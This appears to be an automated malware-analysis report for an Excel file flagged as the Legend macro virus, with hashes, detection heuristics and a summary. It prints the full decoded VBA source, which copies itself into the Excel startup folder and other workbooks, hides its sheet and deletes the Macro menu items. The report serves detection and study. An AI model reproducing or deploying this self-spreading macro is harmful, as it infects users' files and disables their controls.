Xls.Trojan.Legend-2 Office (OLE) malware analysis — malicious · 03b08fee7d0b14ad

MALICIOUS

Office (OLE)

23.5 KB Created: 1997-01-01 04:07:14 Authoring application: Microsoft Excel First seen: 2015-09-16

MD5: 34d88faf6d3204b4492c9969e6b693f0 SHA-1: 4a0dc2ebc282823eaf82bc0520a894e2f90faad2 SHA-256: 03b08fee7d0b14ada90da3c09cdee44f996ff302fbd6ba27e72d80fb27a26e7d

148 Risk Score

Malware Insights

Xls.Trojan.Legend-2 · confidence 95%

MITRE ATT&CK

T1059.005 Visual Basic

This Excel document contains a VBA macro that executes automatically upon opening (Auto_Open). The macro attempts to establish persistence by copying itself to the Excel startup path as PERSONAL.XLS and hiding the sheet. The ClamAV detection 'Xls.Trojan.Legend-2' further supports its malicious nature.

Heuristics 3

ClamAV: Xls.Trojan.Legend-2 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Trojan.Legend-2
VBA macros detected medium 1 related finding OLE_VBA_MACROS

Document contains VBA macro code
Auto_Open macro low OLE_VBA_AUTO

Auto_Open macro
Matched line in script
```
Sub Auto_Open()
```

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	2227 bytes
SHA-256: `77c5389f1eb52944ff0791efa6c8455f3f62cd449f0f00e0089dd4de6c66dd62`
Detection ClamAV: Xls.Trojan.Legend-2 Obfuscation or payload: unlikely
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "Legend" ' *************************************************************** ' Name : ExcelMacro.Legend ' Origin : England ' Created : January 01, 1997 ' Author : Pyro [VBB] ' *************************************************************** Sub Auto_Open() Attribute Auto_Open.VB_ProcData.VB_Invoke_Func = " \n14" Application.OnSheetActivate = "Infect" End Sub Sub Infect() Attribute Infect.VB_ProcData.VB_Invoke_Func = " \n14" On Error GoTo ErrorHandler If Application.UserName = "Pyro" And Application.OrganizationName = "VBB" Then GoTo ErrorHandler Application.ScreenUpdating = False Application.DisplayAlerts = False Installed = 0 If ThisWorkbook.Name <> "PERSONAL.XLS" Then If Dir(Application.StartupPath + "\PERSONAL.XLS") = "PERSONAL.XLS" Then Installed = 1 If Installed = 1 Then GoTo ErrorHandler Else Workbooks.Add.SaveAs Filename:=Application.StartupPath + "\PERSONAL.XLS" Workbooks(ThisWorkbook.Name).Sheets("Legend").Copy Before:=Workbooks("PERSONAL.XLS").Sheets(1) Workbooks("PERSONAL.XLS").Sheets("Legend").Visible = False Workbooks("PERSONAL.XLS").Save Windows("PERSONAL.XLS").Visible = False End If Else Windows("PERSONAL.XLS").Visible = False For I = 1 To Workbooks(ActiveWorkbook.Name).Sheets.Count If Workbooks(ActiveWorkbook.Name).Sheets(I).Name = "Legend" Then Installed = 1 Next If Installed = 1 Then GoTo ErrorHandler Else Workbooks("PERSONAL.XLS").Sheets("Legend").Copy Before:=Workbooks(ActiveWorkbook.Name).Sheets(1) Workbooks(ActiveWorkbook.Name).Sheets("Legend").Visible = False Workbooks(ActiveWorkbook.Name).Save Windows("PERSONAL.XLS").Visible = False End If End If Workbooks("PERSONAL.XLS").Save Application.ScreenUpdating = True Application.DisplayAlerts = True If Day(Now()) = Int((31 * Rnd) + 1) Then MsgBox "You've Been Infected By Legend!", 16, "Pyro [VBB]" MenuBars(xlWorksheet).Menus("Tools").MenuItems("&Macro...").Delete MenuBars(xlModule).Menus("Tools").MenuItems("&Macro...").Delete MenuBars(xlNoDocuments).Menus("Tools").MenuItems("&Macro...").Delete MenuBars(xlInfo).Menus("Tools").MenuItems("&Macro...").Delete MenuBars(xlChart).Menus("Tools").MenuItems("&Macro...").Delete ErrorHandler: End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.